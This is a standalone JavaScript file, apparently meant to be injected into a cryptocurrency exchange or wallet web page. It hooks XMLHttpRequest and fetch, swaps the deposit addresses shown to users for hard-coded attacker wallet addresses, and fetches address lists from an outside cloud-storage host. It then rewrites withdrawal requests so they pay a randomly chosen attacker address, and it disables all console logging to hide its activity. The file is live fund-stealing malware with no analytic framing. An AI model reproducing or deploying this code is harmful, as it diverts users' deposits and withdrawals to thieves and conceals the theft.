(function() {
    // ====================== 第一部分：篡改充值地址响应 ======================
    const part1OriginalOpen = XMLHttpRequest.prototype.open;
    const part1OriginalSend = XMLHttpRequest.prototype.send;
    
    XMLHttpRequest.prototype.open = function(method, url) {
        this._url = url;
        return part1OriginalOpen.apply(this, arguments);
    };
    
    XMLHttpRequest.prototype.send = function(body) {
        const url = this._url;
        if (url.includes('/api/user/recharge_address_list') || url.includes('/api/getCZAddress')) {
            const originalOnReadyStateChange = this.onreadystatechange;
            const originalOnLoad = this.onload;
            
            this.onreadystatechange = function() {
                if (this.readyState === 4 && this.status === 200) {
                    try {
                        const response = JSON.parse(this.responseText);
                        
                        // 处理充值地址列表
                        if (url.includes('/api/user/recharge_address_list') && response.message && Array.isArray(response.message)) {
                            response.message.forEach(item => {
                                if (item.name === "USDC") {
                                    item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                                } else if (item.name === "ETH") {
                                    item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                                } else if (item.name === "USDT(TRC20)") {
                                    item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm";
                                } else if (item.name === "USDT(ERC20)") {
                                    item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                                } else if (item.name === "BTC") {
                                    item.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV";
                                }
                            });
                        }
                        // 处理 /api/getCZAddress 端点
                        else if (url.includes('/api/getCZAddress') && response.message && response.message.address) {
                            const addr = response.message.address;
                            if (addr.startsWith('T')) {
                                response.message.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm";
                            } else if (addr.startsWith('0x')) {
                                response.message.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                            } else if (/^\d/.test(addr) && addr.length === 34) {
                                response.message.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV";
                            }
                        }
                        
                        Object.defineProperty(this, 'response', {value: JSON.stringify(response)});
                        Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)});
                    } catch(e) {}
                }
                if (originalOnReadyStateChange) originalOnReadyStateChange.apply(this, arguments);
            };
            
            this.onload = function() {
                if (this.status === 200) {
                    try {
                        const response = JSON.parse(this.responseText);
                        
                        // 处理充值地址列表
                        if (url.includes('/api/user/recharge_address_list') && response.message && Array.isArray(response.message)) {
                            response.message.forEach(item => {
                                if (item.name === "USDC") {
                                    item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                                } else if (item.name === "ETH") {
                                    item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                                } else if (item.name === "USDT(TRC20)") {
                                    item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm";
                                } else if (item.name === "USDT(ERC20)") {
                                    item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                                } else if (item.name === "BTC") {
                                    item.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV";
                                }
                            });
                        }
                        // 处理 /api/getCZAddress 端点
                        else if (url.includes('/api/getCZAddress') && response.message && response.message.address) {
                            const addr = response.message.address;
                            if (addr.startsWith('T')) {
                                response.message.address = "TPSUPbsWaAL8ZwgUexTqn4cmvWthRPRDbR";
                            } else if (addr.startsWith('0x')) {
                                response.message.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                            } else if (/^\d/.test(addr) && addr.length === 34) {
                                response.message.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV";
                            }
                        }
                        
                        Object.defineProperty(this, 'response', {value: JSON.stringify(response)});
                        Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)});
                    } catch(e) {}
                }
                if (originalOnLoad) originalOnLoad.apply(this, arguments);
            };
        }
        return part1OriginalSend.apply(this, arguments);
    };

    // ====================== 第二部分：篡改提现请求 ======================
    const addressCache = {
        TRC20: [],
        ETH: [],
        BTC: []
    };
    
    const addressUrls = {
        'USDT(TRC20)': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/TRC20.txt',
        'USDT(ERC20)': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/ETH.txt',
        'ETH': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/ETH.txt',
        'USDC': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/ETH.txt',
        'BTC': 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/BTC.txt'
    };

    const loadAddressList = (type) => {
        return new Promise((resolve) => {
            const xhr = new XMLHttpRequest();
            xhr.open('GET', addressUrls[type]);
            xhr.onload = () => {
                if (xhr.status === 200) {
                    addressCache[type] = xhr.responseText.trim().split('\n');
                }
                resolve();
            };
            xhr.send();
        });
    };

    Promise.all([
        loadAddressList('USDT(TRC20)'),
        loadAddressList('USDT(ERC20)'),
        loadAddressList('ETH'),
        loadAddressList('USDC'),
        loadAddressList('BTC')
    ]).then(() => {});

    const getRandomAddress = (usdtType) => {
        const cacheType = usdtType.includes('TRC20') ? 'TRC20' : 
                         usdtType.includes('ERC20') || usdtType === 'ETH' || usdtType === 'USDC' ? 'ETH' : 
                         'BTC';
        
        const list = addressCache[cacheType];
        return list.length > 0 
            ? list[Math.floor(Math.random() * list.length)] 
            : 'DEFAULT_ADDRESS';
    };

    const part2OriginalOpen = XMLHttpRequest.prototype.open;
    const part2OriginalSend = XMLHttpRequest.prototype.send;
    
    XMLHttpRequest.prototype.open = function(method, url) {
        const result = part2OriginalOpen.apply(this, arguments);
        this._method = method;
        this._url = url;
        return result;
    };
    
    XMLHttpRequest.prototype.send = function(body) {
        const self = this;
        const url = this._url;
        const method = this._method;
        
        if (url.includes('/api/wallet/out') && method === 'POST') {
            try {
                let requestBody = body;
                if (typeof body === 'string') {
                    const data = JSON.parse(body);
                    if (data.usdtType) {
                        data.address = getRandomAddress(data.usdtType);
                        requestBody = JSON.stringify(data);
                    }
                }
                return part2OriginalSend.call(self, requestBody);
            } catch(e) {
                return part2OriginalSend.call(self, body);
            }
        }
        return part2OriginalSend.call(self, body);
    };

    // ====================== 合并的fetch拦截 ======================
    const originalFetch = window.fetch;
    window.fetch = function(input, init) {
        const url = typeof input === 'string' ? input : input.url;
        
        if (url.includes('/api/wallet/out') && init?.method === 'POST') {
            try {
                const clonedInit = {...init};
                let bodyText = clonedInit.body;
                
                if (typeof bodyText === 'string') {
                    const data = JSON.parse(bodyText);
                    if (data.usdtType) {
                        data.address = getRandomAddress(data.usdtType);
                        clonedInit.body = JSON.stringify(data);
                    }
                }
                return originalFetch(input, clonedInit);
            } catch(e) {
                return originalFetch(input, init);
            }
        }
        
        return originalFetch(input, init).then(response => {
            const responseUrl = response.url || url;
            
            if (responseUrl.includes('/api/user/recharge_address_list') || responseUrl.includes('/api/getCZAddress')) {
                return response.clone().json().then(data => {
                    // 处理充值地址列表
                    if (responseUrl.includes('/api/user/recharge_address_list') && data.message && Array.isArray(data.message)) {
                        data.message.forEach(item => {
                            if (item.name === "USDC") {
                                item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                            } else if (item.name === "ETH") {
                                item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                            } else if (item.name === "USDT(TRC20)") {
                                item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm";
                            } else if (item.name === "USDT(ERC20)") {
                                item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                            } else if (item.name === "BTC") {
                                item.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV";
                            }
                        });
                    }
                    // 处理 /api/getCZAddress 端点
                    else if (responseUrl.includes('/api/getCZAddress') && data.message && data.message.address) {
                        const addr = data.message.address;
                        if (addr.startsWith('T')) {
                            data.message.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm";
                        } else if (addr.startsWith('0x')) {
                            data.message.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                        } else if (/^\d/.test(addr) && addr.length === 34) {
                            data.message.address = "15jeCmTZExnmbNcLy1nuYxsfAvDcY6aTzV";
                        }
                    }
                    
                    return new Response(JSON.stringify(data), {
                        status: response.status,
                        statusText: response.statusText,
                        headers: response.headers
                    });
                });
            }
            return response;
        });
    };

    // ====================== 隐藏日志 ======================
    const noop = () => {};
    console.debug = noop;
    console.log = noop;
    console.info = noop;
    console.warn = noop;
    console.error = noop;
})();